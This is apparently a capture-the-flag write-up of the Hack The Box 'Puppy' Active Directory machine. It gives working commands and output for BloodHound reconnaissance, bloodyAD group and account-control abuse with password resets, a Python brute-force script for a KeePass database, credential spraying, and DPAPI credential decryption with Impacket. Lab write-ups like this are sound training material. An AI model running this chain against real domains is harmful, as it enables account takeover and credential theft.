RECON
Creds
As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james / KingofAkron2025!
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-18 08:34:20Z)
111/tcp   open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
2049/tcp  open  nlockmgr      syn-ack 1-4 (RPC #100021)
3260/tcp  open  iscsi?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         syn-ack Microsoft Windows RPC
61525/tcp open  msrpc         syn-ack Microsoft Windows RPC
64387/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 9261/tcp): CLEAN (Timeout)
|   Check 2 (port 46171/tcp): CLEAN (Timeout)
|   Check 3 (port 26137/udp): CLEAN (Timeout)
|   Check 4 (port 14441/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2025-05-18T08:36:26
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 6h59m58sDomain Information
- Domain Name: PUPPY.HTB
- Host: DC
Except common ports and services on an Active Directory, we see 2 file sharing entrances:
- SMB (port 445) - the standard Windows file sharing service.
- NFS (port 2049) - uncommon on Windows hosts, the presence of NFS indicates either:
- A UNIX subsystem or hybrid setup (e.g., WSL2 or Docker for Windows with shared volumes).
- Or a misconfiguration where Linux-origin configurations were ported insecurely.
 
The exploitation on an NFS service on Windows is introduced on the previous Scepter writeup — but it's not used in this exploit.
SMB
Use the spider_plus mode of Netexec to list all readable files on SMB with initial credentials for the domain user levi.james:
$ nxc smb puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -M spider_plus
SMB         10.129.212.148  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.212.148  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SPIDER_PLUS 10.129.212.148  445    DC               [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.212.148  445    DC               [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.212.148  445    DC               [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.212.148  445    DC               [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.212.148  445    DC               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.212.148  445    DC               [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.212.148  445    DC               [*]  OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB         10.129.212.148  445    DC               [*] Enumerated shares
SMB         10.129.212.148  445    DC               Share           Permissions     Remark
SMB         10.129.212.148  445    DC               -----           -----------     ------
SMB         10.129.212.148  445    DC               ADMIN$                          Remote Admin
SMB         10.129.212.148  445    DC               C$                              Default share
SMB         10.129.212.148  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.212.148  445    DC               IPC$            READ            Remote IPC
SMB         10.129.212.148  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.212.148  445    DC               SYSVOL          READ            Logon server share
SPIDER_PLUS 10.129.212.148  445    DC               [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.129.212.148.json".
SPIDER_PLUS 10.129.212.148  445    DC               [*] SMB Shares:           6 (ADMIN$, C$, DEV, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.212.148  445    DC               [*] SMB Readable Shares:  3 (IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.212.148  445    DC               [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.212.148  445    DC               [*] Total folders found:  27
SPIDER_PLUS 10.129.212.148  445    DC               [*] Total files found:    10
SPIDER_PLUS 10.129.212.148  445    DC               [*] File size average:    1.05 KB
SPIDER_PLUS 10.129.212.148  445    DC               [*] File size min:        0 B
SPIDER_PLUS 10.129.212.148  445    DC               [*] File size max:        4.28 KBNotably, three shares were accessible:
- NETLOGONand- SYSVOL, commonly used in Active Directory for script delivery and policy configuration, were both readable — but usually not helpful.
- A custom share named DEVwas identified. Though no read permission was shown forlevi,jamesin the current context, which is marked with a custom context (DEV-SHARE for PUPPY-DEVS).
Although the enticing DEV share denies access to our current foothold:
$ smbclient //puppy.htb/DEV -U 'PUPPY.HTB\\levi.james'
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [levi.james]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*This suggests our path forward may lie in compromising roles tied to PUPPY-DEVS—likely the gatekeepers to the sensitive loot buried within.
BloodHound 1
Execute bloodhound-python to gather domain reconnaissance:
bloodhound-python -u 'levi.james' -p 'KingofAkron2025!' -d 'puppy.htb' -ns $target_ip --zip -c All -dc 'dc.puppy.htb'Once the ZIP is generated, feed it into BloodHound for graph analysis.
Right out of the gate, the result exposes a clean-cut outbound object control path:

levi.james is a member of the HR group, which has GenericWrite rights over the DEVELOPERS group.
While BloodHound reveals a handful of other compelling attack vectors, we'll unravel those threads as they become tactically relevant.
USER
SMB Access
We've identified that access to the elusive DEV share is gated behind membership in the PUPPY-DEVS group. While levi.james isn't on the guest list, he's armed with GenericWrite privileges over the DEVELOPERS group.
To confirm the group's current roster, we interrogate the domain controller with bloodyAD:
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'levi.james' -p 'KingofAkron2025!' \
      		get object 'DEVELOPERS'The result reveals:
member: 
  CN=Jamie S. Williams,...
  CN=Adam D. Silver,...
  CN=Anthony J. Edwards,...No sign of levi.james—but that's irrelevant. With GenericWrite dangling in our hands via the HR group, we can rewrite the guest list ourselves.
GenericWrite
Since HR holds GenericWrite over DEVELOPERS, and levi.james lives within HR, we hijack the trust chain and slip levi.james into the DEVELOPERS group without resistance.
Execute the group injection via bloodyAD's add groupMember module:
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'levi.james' -p 'KingofAkron2025!' \
      		add groupMember 'DEVELOPERS' 'levi.james'As a result:

With membership established, the gates to the DEV share swing open:

That .kdbx file and .msi are likely very juicy.
KDBX
A .kdbx file is a KeePass password database, used primarily by KeePass 2.x and KeePassXC—well-known open-source tools for securely storing credentials.
To retrieve the remote kdbx file from the DEV share, we can execute:
smbclient //puppy.htb/DEV -U 'PUPPY.HTB\\levi.james' -c 'get recovery.kdbx'Once retrieved, we try to inspect it using keepass2john:
$ file recovery.kdbx
recovery.kdbx: Keepass password database 2.x KDBX
$ keepass2john recovery.kdbx > hash.txt
! recovery.kdbx : File version '40000' is currently not supported!This error indicates that keepass2john (from John the Ripper) does not support KDBX v4 (file version 40000), which is the current format used by modern KeePassXC versions (like the one in the share: 2.7.9).
So we can try another module that supports KDBX v4 — pykeepass.
To handle this, we pivot to a compatible tool: pykeepass, which supports KDBX v4.
After installing it via:
pip install pykeepassWe create a short brute-force script to attempt decryption with a wordlist:
#!/usr/bin/env python3 
from pykeepass import PyKeePass
from pykeepass.exceptions import CredentialsError
import sys
KDBX_FILE = 'recovery.kdbx'
WORDLIST = '/home/Axura/wordlists/rockyou.txt'
try:
    with open(WORDLIST, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            password = line.strip()
            try:
                kp = PyKeePass(KDBX_FILE, password=password)
                print(f'\n[+] Success! Password found: {password}')
                print('[+] Dumping entries:\n')
                for entry in kp.entries:
                    print(f' - {entry.title}: {entry.username} / {entry.password}')
                break
            except CredentialsError:
                continue
except FileNotFoundError:
    print(f'[!] File not found: {WORDLIST}')
    sys.exit(1)And jackpot:
$ python bf-keepass.py
[+] Success! Password found: liverpool
[+] Dumping entries:
- JAMIE WILLIAMSON: None / JamieLove2025!
- ADAM SILVER: None / HJKL2025!
- ANTONY C. EDWARDS: None / Antman2025!
- STEVE TUCKER: None / Steve2025!
- SAMUEL BLAKE: None / ILY2025!The password liverpool unlocks the database, and five credentials drop into our lap.
KeePass entries may lack explicit usernames, defaulting to
None. Based on naming conventions, we can assume domain usernames likejamie.williamson,adam.silver,antony.edwards, according to the knownlevi.jamesformat.
We create a combo file for validation:
jamie.williamson:JamieLove2025!
adam.silver:HJKL2025!
antony.edwards:Antman2025!
steve.tucker:Steve2025!
samuel.blake:ILY2025!And spray them against the domain:
while IFS=: read -r user pass; do
  echo "[*] Testing $user:$pass"
  nxc smb puppy.htb -u "$user" -p "$pass"
done < creds.txtUnfortunately, none of the pairs authenticate successfully via SMB or LDAP:

Either the usernames are misaligned with AD, the accounts are stale or disabled, or we're staring at a decoy credential cache meant to slow us down.
BloodHound 2
Time to zoom out and refocus. Our BloodHound graph reveals that the DEVELOPERS group originally includes three members:

Among them, adam.silver stands out—he's a member of the REMOTE MANAGEMENT group, which grants remote access to the domain controller:

That's our access vector. But there's a catch—his account is currently disabled:

The other two—ant.edwards and jamie.williams—are still active. Digging deeper, we find that ant.edwards is a member of a privileged group, SENIOR DEVS:

Which has GenricAll rights back on the target adam.silver:

And here's the twist: SENIOR DEVS holds GenericAll rights over adam.silver—a direct privilege chain. That means ant.edwards can fully control adam.silver, including re-enabling the account, resetting the password, and turning our next move into a remote shell on the DC.
Privesc
Therefore, our exploitation path begins with the working credentials ant.edwards / Antman2025!—not the earlier misfire, antony.edwards:

userAccountControl
Armed with GenericAll over adam.silver, we leverage bloodyAD's get object to inspect the current state of the account:
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'ant.edwards' -p 'Antman2025!' \
      		get object 'adam.silver' The result confirms our suspicion:
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDThe attribute userAccountControl is a bitmask—a numeric flag set defining user properties. In our case:
- 514→- 512(NORMAL_ACCOUNT) +- 2(ACCOUNTDISABLE)
To flip the account back to life, we simply need to rewrite that flag:
- Set userAccountControl→512to drop the disabled bit.
This sets the stage for full account takeover.
GenericAll
To overwrite the target attribute, we deploy bloodyAD once more—this time with the set object module:
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'ant.edwards' -p 'Antman2025!' \
      		set object 'adam.silver' 'userAccountControl' \
      		-v 512Then we can re-test the target account admin.silver:

Why? The account is re-enabled, but the original password was either changed or invalidated:

So we take control fully—resetting the password ourselves:
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'ant.edwards' -p 'Antman2025!' \
      		set password 'adam.silver' 'DummyP@ssw0rd'With a fresh password injected, we pivot into the target system:

Foothold gained. And with it—the user flag is ours.
ROOT
Internal Enum
Poking around C:\, we stumble across a promising stash—Backups:
*Evil-WinRM* PS C:> ls
Directory: C:\
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                WindowsInside it, a ZIP archive quietly waits:
*Evil-WinRM* PS C:> ls backups
Directory: C:\backups
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\> download "backups\site-backup-2024-12-30.zip"
Info: Downloading C:\\backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Progress: 23% : |▓▒░░░░░░░░|File exfiltrated.
Site Backup
Cracking open the archive reveals an backed up ldap-config.xml file. Jackpot. Inside:
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>Credentials in cleartext—chef's kiss.
We test the pair steph.cooper / ChefSteph2025! against WinRM:
$ nxc winrm puppy.htb -u 'steph.cooper' -p 'ChefSteph2025!'
WINRM       10.129.212.148  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.212.148  5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)And we're in:

BloodHound 3
With a new user under our control, we throw steph.cooper into the recon machine:
bloodhound-python -u 'steph.cooper' -p 'ChefSteph2025!' -d 'puppy.htb' -ns $target_ip --zip -c All -dc 'dc.puppy.htb'While the graph shows no immediate privilege escalation paths, our search does surface a related account:

steph.cooper_adm — same name, elevated power from the Administrators group:

DPAPI
With no direct escalation path from steph.cooper to her elevated twin steph.cooper_adm, we shift tactics—pivoting into a local post-exploitation technique that hits where it hurts: DPAPI.
Data Protection API (DPAPI) is used by Windows to encrypt secrets (credentials, tokens, browser data, etc.) using either:
- The user's logon password (via their derived DPAPI master key)
- Or domain-based backup keys (in roaming or enterprise scenarios)
Enumerate
With the methodology introduced before, we can inspect the default paths for Windows DPAPI credential blobs stored under the user's profile:
# Credentials
Get-ChildItem "C:\Users\<username>\AppData\Roaming\Microsoft\Credentials" -Force -Recurse | Format-List
# Protect
Get-ChildItem "C:\Users\<username>\AppData\Roaming\Microsoft\Protect" -Force -Recurse | Format-ListAs a result:
*Evil-WinRM* PS C:> Get-ChildItem "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials" -Force -Recurse | Format-List
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Name           : C8D69EBE9A43E9DEBF6B5FBD48B521B9
Length         : 414
CreationTime   : 3/8/2025 7:53:53 AM
LastWriteTime  : 3/8/2025 7:54:29 AM
LastAccessTime : 3/8/2025 7:54:29 AM
Mode           : -a-hs-
LinkType       :
Target         : {}
VersionInfo    : File:             C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
                 InternalName:
                 OriginalFilename:
                 FileVersion:
                 FileDescription:
                 Product:
                 ProductVersion:
                 Debug:            False
                 Patched:          False
                 PreRelease:       False
                 PrivateBuild:     False
                 SpecialBuild:     False
                 Language:
*Evil-WinRM* PS C:> Get-ChildItem "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect" -Force -Recurse | Format-List
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect
Name           : S-1-5-21-1487982659-1829050783-2281216199-1107
CreationTime   : 2/23/2025 2:36:06 PM
LastWriteTime  : 2/23/2025 2:36:06 PM
LastAccessTime : 2/23/2025 2:36:06 PM
Mode           : d---s-
LinkType       :
Target         : {}
[...]
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Name           : 556a2412-1275-4ccf-b721-e6a0b4f90407
Length         : 740
CreationTime   : 2/23/2025 2:36:06 PM
LastWriteTime  : 3/8/2025 7:40:36 AM
LastAccessTime : 3/8/2025 7:40:36 AM
Mode           : -a-hs-
LinkType       :
Target         : {}
VersionInfo    : File:             C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
                 InternalName:
                 OriginalFilename:
                 FileVersion:
                 FileDescription:
                 Product:
                 ProductVersion:
                 Debug:            False
                 Patched:          False
                 PreRelease:       False
                 PrivateBuild:     False
                 SpecialBuild:     False
                 Language:
Name           : Preferred
Length         : 24
CreationTime   : 2/23/2025 2:36:06 PM
LastWriteTime  : 2/23/2025 2:36:06 PM
LastAccessTime : 2/23/2025 2:36:06 PM
Mode           : -a-hs-
LinkType       :
Target         : {}
VersionInfo    : File:             C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\Preferred
                 InternalName:
                 OriginalFilename:
                 FileVersion:
                 FileDescription:
                 Product:
                 ProductVersion:
                 Debug:            False
                 Patched:          False
                 PreRelease:       False
                 PrivateBuild:     False
                 SpecialBuild:     False
                 Language:📂 Key Artifacts Found:
- %APPDATA%\Microsoft\Credentials\- Files like: C8D69EBE9A43E9DEBF6B5FBD48B521B9
- These are encrypted DPAPI credential blobs (e.g., saved credentials for apps, browsers, or Windows services).
 
- Files like: 
- %APPDATA%\Microsoft\Protect\- This contains a user-specific DPAPI master key storage for user step.cooper— with user SIDS-1-5-21-1487982659-1829050783-2281216199-1107.
- Inside this folder is the DPAPI master key file, which is used to decrypt other DPAPI-protected items (like browser credentials, saved logins, etc.):
- 556a2412-1275-4ccf-b721-e6a0b4f90407is the masterkey file — contains the encrypted DPAPI master key
- Preferredpoints to the current masterkey in use (not always needed if we know the key file)
 
 
- This contains a user-specific DPAPI master key storage for user 
Therefore, we are going to extract the master key and then use it to decrypt the DPAPI credential blob.
Download
First we will need to download the blob and masterkey to our local machine.
However, direct download will fail:
*Evil-WinRM* PS C:\> download "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardErrorThis is a known bug in Evil-WinRM when trying to download files from hidden/system-protected locations, which I also mentioned in the Vintage writeup here.
There we also introduced a small trick to bypass:
cmd.exe /c 'attrib -s -h "C:\Users\steph.cooper\AppData\Roaming\Microsoft\*" /s'This just remove System and Hidden attributes from all files under the path (recursively).
Now we can safely download both the blob and master key in Evil-winrm:
*Evil-WinRM* PS C:\> download "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Download successful!
*Evil-WinRM* PS C:\> download "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 to 556a2412-1275-4ccf-b721-e6a0b4f90407
Progress: 100% : |▓▓▓▓▓▓▓▓▓▒|Crack
Impacket | dpapi.py
The exploit path would then be a copy-paste from the Vintage writeup using dpapi.py from Impacket toolkit.
we can decrypt the found master key with step.cooper's SID and password':
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
    		-sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
    		-password 'ChefSteph2025!'As a result:
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84Then we can decrypt the credential blob using the unlocked key of hex format:
dpapi.py credential -file "C8D69EBE9A43E9DEBF6B5FBD48B521B9" \
    		-key "0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"We successfully decrypt the password for step.cooper_adm:
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!WinRm
Login as steph.cooper_adm, who turns out to be the local administrator:

Rooted.





 
    
Comments | NOTHING